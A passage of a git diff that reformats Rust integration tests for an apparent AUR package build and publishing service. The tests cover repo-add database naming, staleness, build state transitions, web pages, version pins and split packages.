+ .filter_map(std::result::Result::ok)
.map(|e| e.file_name().to_string_lossy().into_owned())
.filter(|n| n.ends_with(".pkg.tar.zst"))
.collect();
@@ -337,16 +308,9 @@ fn shim_environment_reaches_child_processes_through_the_config() {
assert!(s.contains("manifest.json"), "{s}");
}
-const REAL_ACCEPTED: [&str; 5] = [
- "aur.db.tar",
- "aur.db.tar.gz",
- "aur.db.tar.zst",
- "aur.db.tar.bz2",
- "aur.db.tar.xz",
-];
+const REAL_ACCEPTED: [&str; 5] = ["aur.db.tar", "aur.db.tar.gz", "aur.db.tar.zst", "aur.db.tar.bz2", "aur.db.tar.xz"];
-const REAL_REJECTED: [&str; 5] =
- ["aur.db", "aur.db.gz", "aur.db.tar.gz.tmp", "aur.files.tar.gz", "aur"];
+const REAL_REJECTED: [&str; 5] = ["aur.db", "aur.db.gz", "aur.db.tar.gz.tmp", "aur.files.tar.gz", "aur"];
#[test]
fn repo_add_shim_refuses_a_database_name_repo_add_refuses() {
@@ -355,10 +319,7 @@ fn repo_add_shim_refuses_a_database_name_repo_add_refuses() {
let bad = tmp.path().join(name);
let (code, _, err) = shim("repo-add", tmp.path(), &[], &["-R", &bad.display().to_string()]);
assert_eq!(code, 1, "repo-add must fail on {name}, like the real tool");
- assert!(
- err.contains("does not have a valid database archive extension"),
- "{name}: {err}"
- );
+ assert!(err.contains("does not have a valid database archive extension"), "{name}: {err}");
assert!(!bad.exists(), "{name}: nothing may be written for a rejected name");
}
for name in REAL_ACCEPTED {
@@ -378,10 +339,7 @@ fn repo_add_db_names_match_the_real_repo_add() {
let tmp = tempfile::tempdir().unwrap();
for name in REAL_ACCEPTED.into_iter().chain(REAL_REJECTED) {
let p = tmp.path().join(name);
- let real = Command::new("repo-add")
- .args(["-R", &p.display().to_string()])
- .output()
- .unwrap();
+ let real = Command::new("repo-add").args(["-R", &p.display().to_string()]).output().unwrap();
assert_eq!(
shims::valid_db_arg(&p),
real.status.success(),
@@ -404,16 +362,10 @@ fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() {
.and_then(|a| a.as_array().cloned())
.expect("the invocation log records args")
.iter()
- .filter_map(|v| v.as_str().map(|s| s.to_string()))
+ .filter_map(|v| v.as_str().map(std::string::ToString::to_string))
.collect::<Vec<_>>();
- let db = args
- .iter()
- .find(|a| !a.starts_with('-'))
- .expect("repo-add's first positional is the database");
- assert!(
- shims::valid_db_arg(Path::new(db)),
- "publish passed {db}, which repo-add would refuse"
- );
+ let db = args.iter().find(|a| !a.starts_with('-')).expect("repo-add's first positional is the database");
+ assert!(shims::valid_db_arg(Path::new(db)), "publish passed {db}, which repo-add would refuse");
let arch = web.env.cfg.repo_arch_dir();
let leftovers: Vec<String> = std::fs::read_dir(&arch)
@@ -422,9 +374,5 @@ fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() {
.map(|e| e.file_name().to_string_lossy().into_owned())
.filter(|n| n.starts_with(".render-"))
.collect();
- assert!(
- leftovers.is_empty(),
- "scratch directories left behind in {}: {leftovers:?}",
- arch.display()
- );
+ assert!(leftovers.is_empty(), "scratch directories left behind in {}: {leftovers:?}", arch.display());
}
diff --git a/tests/staleness.rs b/tests/staleness.rs
index b5a5ac1..1fc05f9 100644
--- a/tests/staleness.rs
+++ b/tests/staleness.rs
@@ -45,7 +45,7 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
"SELECT m.name || '.' || p.name FROM sqlite_master m, pragma_table_info(m.name) p
WHERE m.type='table' AND p.name LIKE '%stale%'",
)?;
- let out = st.query_map([], |r| r.get::<_, String>(0))?.filter_map(|x| x.ok()).collect();
+ let out = st.query_map([], |r| r.get::<_, String>(0))?.filter_map(std::result::Result::ok).collect();
Ok(out)
})
.unwrap();
@@ -58,7 +58,10 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
"withdrawing the dependency should flip the answer to missing: {after:?}"
);
assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='dep-client')", &[]),
+ env.query_i64(
+ "SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='dep-client')",
+ &[]
+ ),
Some(1),
"the dependent was untouched by its dependency moving"
);
@@ -105,7 +108,11 @@ fn a_blocked_build_waits_and_is_requeued_only_when_the_blocker_arrives() {
"dep-partner should be in the index now: {:?}",
aur_build::db::our_package_names(&env.db)
);
- assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Queued, "the blocker arrived and the build stayed blocked");
+ assert_eq!(
+ builds::get(&env.db, &id).unwrap().unwrap().state,
+ BuildState::Queued,
+ "the blocker arrived and the build stayed blocked"
+ );
assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "nothing left to requeue");
pipeline::run(&env.cfg, &env.db, &id).unwrap();
@@ -157,11 +164,7 @@ fn a_dependency_we_stopped_publishing_shows_as_missing_not_outdated() {
pipeline::publish::withdraw_package(&env.cfg, &env.db, "plain-make").unwrap();
let stale = staleness::stale_rows(&env.db).unwrap();
- let missing: Vec<_> = stale
- .iter()
- .filter(|s| s.kind == staleness::Kind::Missing)
- .cloned()
- .collect();
+ let missing: Vec<_> = stale.iter().filter(|s| s.kind == staleness::Kind::Missing).cloned().collect();
assert_eq!(missing.len(), 1, "withdrawal should read as missing: {stale:?}");
assert_eq!(missing[0].pkgbase, "dep-client");
assert_eq!(missing[0].dependency, "plain-make");
diff --git a/tests/state_machine.rs b/tests/state_machine.rs
index ccfdc42..f355e8f 100644
--- a/tests/state_machine.rs
+++ b/tests/state_machine.rs
@@ -1,6 +1,9 @@
mod common;
-use aur_build::db::{builds, model::{BuildState, CandidateState, StepState}};
+use aur_build::db::{
+ builds,
+ model::{BuildState, CandidateState, StepState},
+};
use common::Env;
// What remains all moves real rows through real transitions against a
// database. The two tests that were only about the state enum — the column-text
@@ -124,16 +127,11 @@ fn candidate(env: &Env, state: &str) -> i64 {
}
fn resolve(env: &Env, id: i64, to: CandidateState) -> aur_build::error::Result<()> {
- env.db
- .writer
- .tx_for_tests(move |tx| aur_build::db::candidates::resolve_in(tx, id, to, "2026-01-01T00:00:00Z"))
+ env.db.writer.tx_for_tests(move |tx| aur_build::db::candidates::resolve_in(tx, id, to, "2026-01-01T00:00:00Z"))
}
fn candidate_state(env: &Env, id: i64) -> CandidateState {
- aur_build::db::candidates::by_id(&env.db, id)
- .unwrap()
- .expect("candidate")
- .state
+ aur_build::db::candidates::by_id(&env.db, id).unwrap().expect("candidate").state
}
#[test]
@@ -190,19 +188,13 @@ fn an_interrupted_step_resumes_and_a_blocked_step_waits() {
fn an_unnamed_state_in_any_row_is_an_error() {
let env = Env::new();
let cid = candidate(&env, "approved");
- env.exec(
- "UPDATE candidate SET state='reconsidered' WHERE id=?1",
- &[common::P::I(cid)],
- );
+ env.exec("UPDATE candidate SET state='reconsidered' WHERE id=?1", &[common::P::I(cid)]);
let err = aur_build::db::candidates::by_id(&env.db, cid).unwrap_err();
assert!(err.to_string().contains("candidate has a state outside"), "{err}");
let id = build(&env, "b1");
builds::begin_step(&env.db, &id, "build", 1).unwrap();
- env.exec(
- "UPDATE build_step SET status='maybe' WHERE build_id=?1 AND step='build'",
- &[common::P::S(id.clone())],
- );
+ env.exec("UPDATE build_step SET status='maybe' WHERE build_id=?1 AND step='build'", &[common::P::S(id.clone())]);
let err = builds::step_status(&env.db, &id, "build").unwrap_err();
assert!(err.to_string().contains("build step has a state outside"), "{err}");
}
diff --git a/tests/surfaces.rs b/tests/surfaces.rs
index 87b860d..15e07c3 100644
--- a/tests/surfaces.rs
+++ b/tests/surfaces.rs
@@ -27,10 +27,7 @@ fn attention_lists_outdated_dependencies_from_the_recorded_world() {
let web = Web::attach(env, client);
web.publish("plain-make");
web.publish("dep-client");
- assert!(
- !web.get("/attention").body.contains("Outdated:"),
- "dep-client is fresh right after both were published"
- );
+ assert!(!web.get("/attention").body.contains("Outdated:"), "dep-client is fresh right after both were published");
plain.bump(&[("pkgver", "2.0")]);
web.publish("plain-make");
@@ -60,7 +57,10 @@ fn the_package_page_answers_dependencies_and_staleness() {
let other = web.get("/packages/plain-make");
assert!(other.body.contains("Needed by"), "no needed-by block");
assert!(other.body.contains("dep-client"), "the dependent is not listed");
- assert!(other.body.contains("aur.archlinux.org/cgit/aur.git/tree/?h=plain-make&amp;id="), "no per-release cgit link");
+ assert!(
+ other.body.contains("aur.archlinux.org/cgit/aur.git/tree/?h=plain-make&amp;id="),
+ "no per-release cgit link"
+ );
assert!(other.body.contains("serving 2.0"), "the summary does not say what is served");
}
@@ -80,10 +80,7 @@ fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() {
"a manual rebuild must not mint an approval"
);
- let queued = web
- .env
- .query_i64("SELECT count(*) FROM build WHERE kind='manual_rebuild'", &[])
- .unwrap();
+ let queued = web.env.query_i64("SELECT count(*) FROM build WHERE kind='manual_rebuild'", &[]).unwrap();
assert_eq!(queued, 1, "the rebuild was not queued");
let id: String = web
@@ -91,13 +88,9 @@ fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() {
.db
.read(|c| {
use rusqlite::OptionalExtension;
- c.query_row(
- "SELECT id FROM build WHERE kind='manual_rebuild'",
- [],
- |r| r.get::<_, String>(0),
- )
- .optional()
- .map_err(Into::into)
+ c.query_row("SELECT id FROM build WHERE kind='manual_rebuild'", [], |r| r.get::<_, String>(0))
+ .optional()
+ .map_err(Into::into)
})
.unwrap()
.unwrap();
@@ -150,7 +143,10 @@ fn pausing_a_subscription_stops_detection_and_resuming_starts_it_again() {
);
web.fx.bump(&[("pkgver", "3.0")]);
let report = aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap();
- assert!(matches!(report.outcome, aur_build::watch::detect::Outcome::Paused), "a paused subscription was still inspected");
+ assert!(
+ matches!(report.outcome, aur_build::watch::detect::Outcome::Paused),
+ "a paused subscription was still inspected"
+ );
assert_eq!(
candidates::pending_candidates(&web.env.db).unwrap().len(),
0,
diff --git a/tests/time.rs b/tests/time.rs
index a34202f..3b17d7c 100644
--- a/tests/time.rs
+++ b/tests/time.rs
@@ -11,10 +11,7 @@ use common::Env;
#[test]
fn a_lease_taken_under_a_pinned_clock_expires_against_that_clock() {
let env = Env::new();
- env.exec(
- "INSERT INTO pkgbase (name, aur_url, created_at) VALUES ('x', 'u', '2026-01-01T00:00:00Z')",
- &[],
- );
+ env.exec("INSERT INTO pkgbase (name, aur_url, created_at) VALUES ('x', 'u', '2026-01-01T00:00:00Z')", &[]);
let pb = env.query_i64("SELECT id FROM pkgbase WHERE name='x'", &[]).unwrap();
builds::enqueue(&env.db, "b1", pb, None, "manual", None, "default", 0).unwrap();
diff --git a/tests/vcs.rs b/tests/vcs.rs
index 52f4372..d0f0d60 100644
--- a/tests/vcs.rs
+++ b/tests/vcs.rs
@@ -47,10 +47,7 @@ fn stage_a_respects_a_tag_pin() {
fx.upstream_commit("upstream: moved past the tag\n");
let (outcome, _) = detect_and_take(&env, "git-tagged");
- assert!(
- matches!(outcome, detect::Outcome::NoChange),
- "a tag pin does not drift with the branch: {outcome:?}"
- );
+ assert!(matches!(outcome, detect::Outcome::NoChange), "a tag pin does not drift with the branch: {outcome:?}");
}
#[test]
@@ -193,10 +190,7 @@ fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() {
assert_eq!(notices[0].kind, notice_kind::PIN_DRIFT);
let detail = notices[0].detail_json.clone();
assert!(detail.contains("nothing publishable"), "{detail}");
- assert_eq!(
- env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]),
- Some(1)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1));
}
#[test]
diff --git a/tests/versions.rs b/tests/versions.rs
index 175938d..a7b41f8 100644
--- a/tests/versions.rs
+++ b/tests/versions.rs
@@ -23,11 +23,7 @@ fn a_downgrade_in_the_aur_is_flagged_not_silently_served() {
let base = base_release(&env, &c);
let panels = diff::panels(&env.cfg, &env.db, &c, base.as_ref()).unwrap();
let version = panel(&panels, "version");
- assert!(
- version.body.contains("DOWNGRADE"),
- "the version panel must call out a downgrade: {:?}",
- version.body
- );
+ assert!(version.body.contains("DOWNGRADE"), "the version panel must call out a downgrade: {:?}", version.body);
assert!(version.body.contains("1.0-1 -> 0.9-1"), "{:?}", version.body);
assert!(pkgver::is_downgrade("1.0-1", "0.9-1"));
assert_eq!(aur_build::db::index_version(&env.db, "plain-make").unwrap().unwrap(), "1.0-1");
diff --git a/tests/world.rs b/tests/world.rs
index 4d1e2bc..d8e61b5 100644
--- a/tests/world.rs
+++ b/tests/world.rs
@@ -5,7 +5,12 @@ use aur_build::pipeline;
use aur_build::pkginfo;
use common::*;
-fn make_archive(dir: &std::path::Path, name: &str, pkginfo: Option<&str>, buildinfo: Option<&str>) -> std::path::PathBuf {
+fn make_archive(
+ dir: &std::path::Path,
+ name: &str,
+ pkginfo: Option<&str>,
+ buildinfo: Option<&str>,
+) -> std::path::PathBuf {
let path = dir.join(format!("{name}.pkg.tar.zst"));
let enc = std::io::BufWriter::new(std::fs::File::create(&path).unwrap());
let mut enc = zstd::Encoder::new(enc, 3).unwrap();
@@ -153,17 +158,21 @@ fn a_split_pkgbase_is_one_approval_and_many_index_rows() {
WHERE p.state='in_index' ORDER BY p.name",
)?;
let out = st
- .query_map([], |r| Ok(format!("{} {} art={:?}", r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, Option<i64>>(2)?)))?
- .filter_map(|x| x.ok())
+ .query_map([], |r| {
+ Ok(format!(
+ "{} {} art={:?}",
+ r.get::<_, String>(0)?,
+ r.get::<_, String>(1)?,
+ r.get::<_, Option<i64>>(2)?
+ ))
+ })?
+ .filter_map(std::result::Result::ok)
.collect();
Ok(out)
})
.unwrap();
assert!(rows.len() >= 2, "a split pkgbase should produce several index rows: {rows:?}");
- assert!(
- rows.iter().all(|r| r.contains("art=Some")),
- "every index row needs its own artifact: {rows:?}"
- );
+ assert!(rows.iter().all(|r| r.contains("art=Some")), "every index row needs its own artifact: {rows:?}");
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(1));
}